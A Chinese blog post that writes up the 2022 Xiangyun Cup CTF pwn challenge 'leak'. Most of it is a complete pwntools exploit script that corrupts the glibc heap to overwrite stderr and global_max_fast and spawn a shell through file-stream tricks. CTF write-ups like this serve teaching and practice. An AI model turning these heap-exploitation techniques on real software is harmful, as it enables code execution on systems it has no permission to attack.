首页 > 其他分享 >2022祥云杯 leak

2022祥云杯 leak

时间:2022-10-31 18:46:59浏览次数:82  
标签:index edit leak add 0x30 2022 sendlineafter 祥云 delete

2022祥云杯 leak

今年VNCTF的时候碰到过一种写法,方式不会,没写的出来。没想到这次祥云杯leak这题可以用那种写法写,但是我依旧比赛时没写出来。赛后记录一下。
主要是利用house of corrosion打strerr + house of kiwi触发IO,这题不用kiwi直接用exit也行。

wjh 师傅的VNCTF2022 HideOnHeap 题解:https://blog.wjhwjhn.com/archives/783/

exp:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')

s = process('./leak')

def add(index,size):
	s.sendlineafter(b'Your choice: ', b'1')
	s.sendlineafter(b'Index: ', str(index))
	s.sendlineafter(b'Size: ', str(size))

def edit(index,content):
	s.sendlineafter(b'Your choice: ', b'2')
	s.sendlineafter(b'Index: ', str(index))
	s.sendafter(b'Content: ', content)

def delete(index):
	s.sendlineafter(b'Your choice: ', b'3')
	s.sendlineafter(b'Index: ', str(index))


add(0, 0x14b0)
add(1, 0x410)
add(2, 0x30)
add(0xf, 0x14c0)
delete(0xf)
add(0xe, 0x10)

delete(1)
delete(2)
edit(2, b'a'*0x10)
delete(2)
edit(2, b'a'*0x10)
delete(2)
edit(2, b'\x60\x77')
edit(1, b'\x80\xe6')

add(3, 0x410) # 3 = 1
add(4, 0x30) # 4 = 3
add(5, 0x30) # 5 = 1
add(6, 0x30) # 6 stderr

delete(1)
delete(2)
edit(2, b'a'*0x10)
delete(2)
edit(2, b'a'*0x10)
delete(2)
edit(2, b'\x60\x77')
edit(1, b'\x40\xf9')

add(7 ,0x410) # 7 = 1
add(8, 0x30) # 8 = 3
add(9, 0x30) # 9 = 1
add(10, 0x30) # 10 global_max_fast

add(0xd, 0x14c0)

edit(10, b'\xff'*8)
delete(0)
delete(0xd)

edit(6, p64(0xFBAD1800) + p64(0)*3 + b'\x50')


edit(0xa, p64(0x80))
delete(0xd)
edit(0xf, p64(0)*3 + p64(0x233))


#gdb.attach(s, 'b _IO_new_file_xsputn')
#pause()

add(11, 0x8880)

s.interactive()

标签:index,edit,leak,add,0x30,2022,sendlineafter,祥云,delete
From: https://www.cnblogs.com/pwnfeifei/p/16843823.html

相关文章

  • CSP-S 2022 假期计划&trick
    https://www.luogu.com.cn/blog/tsukimaru/csp-s-2022-jia-ji-ji-hua-di-yi-ge-jian-dan-sui-ji-hua-zuo-fahttps://ac.nowcoder.com/acm/contest/40649/D倘若你遇到选取......
  • 2022极客大挑战
    目录WebbabyuploadezrceWebbabyupload最基础的文件上传(虽然我还没刷完upload-labs,别骂了传一个伪造png头的图片马,抓个包,改个后缀连黑名单都没设。。直接就传上去了......
  • CSP-S 2022 T2 策略游戏题解
    T2比T1简单?可以发现,讨论的情况数不是很多。可以直接用线段树查询然后暴力讨论就好了。(写的好丑)#include<bits/stdc++.h>usingnamespacestd;#defineN1000010#......
  • 2022.10.21----vscode-自定义事件
     vscode预览模式关闭,就能打开新标签页(43条消息)vscode新窗口打开文件-CSDN (43条消息)如何在vscode中打开新文件夹不覆盖上一个窗口标签_发呆的薇薇°的博客-......
  • CSP-S 2022 游记
    初赛就不写了,\(92\text{pts}\),计数排序都不认识了是我属实想不到的。Day-1下午模拟赛爆炸了,见过类似套路的T2直接想假了挂成\(20\)。Day0上午\(\text{Vp}\)CF,一......
  • 2022-10-31 删除无法删除的文件夹or文件
    新建.txt文件,复制下面代码:DEL/F/A/Q\\?\%1RD/S/Q\\?\%1把.txt文件改名为.bat,保存。拖动该文件到你想要的文件夹or文件上面,松开鼠标。然后再删除。我试了,没用!......
  • CSP2022游寄
    初赛好像要考初赛了,是不是得刷刷题啊。完了,刷一套不会一套,\(OIer\)是电脑白痴,\(linux\)的一车命令都是啥啊,这谁会啊。阅读程序又是啥啊,他在干啥,这谁看得懂啊。正式考......
  • CSP/S 2022 游寄
    初赛HN初赛分数线好像大\(32\)分左右,通过率极高!本人弱弱的拿了\(60.5\)分(周围的同学平均分\(>80\)。)Day-1这一天晚上,我背了背dijkstra,SPFA,树链剖分等模板,就睡了......
  • CSPS2022 题解
    T1容易想到枚举\(B,C\),然后\(A,D\)可以预处理,即对于\(i\)处理存在路径\(1\rightarrowj\rightarrowi\)中\(j\)的权值最大的,那么只需枚举\(B,C\)然后分别取最......
  • CSPS2022 游记
    CSPS2022又寄在役期间的最后一次CSP,本来以为能留下一个辉煌的战绩,可惜寄了。Day-114514停课第一周没考试,看了一车没看过的算法,感觉良好。大家都停课之后每天晚上一......